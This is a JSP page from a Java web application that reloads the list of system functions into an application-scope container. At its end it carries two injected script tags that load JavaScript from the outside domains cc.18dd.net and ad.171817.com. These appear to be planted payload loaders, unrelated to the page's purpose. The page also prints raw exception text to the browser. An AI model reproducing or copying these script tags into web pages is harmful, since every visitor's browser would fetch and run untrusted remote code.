<%@ page import="java.sql.Connection" %>
<%@ page import="java.util.List" %>
<%@ page import="com.dcivision.framework.DataSourceFactory" %>
<%@ page import="com.dcivision.framework.dao.SysFunctionDAObject" %>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<%
    java.sql.Connection conn = null;
    try {
      conn = DataSourceFactory.getConnection();

      SysFunctionDAObject sysFunctionDAO = new SysFunctionDAObject(null, conn);

      // get all activated system function
      List lSysFunction = sysFunctionDAO.getFullList();
      applicationContainer.setSysFunctionList(lSysFunction);
      out.println("Success");
    } catch (Exception e) {
      out.println(e);      
    } finally {
      try { conn.close(); } catch (Exception ignore) {} finally { conn = null; }
    }
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>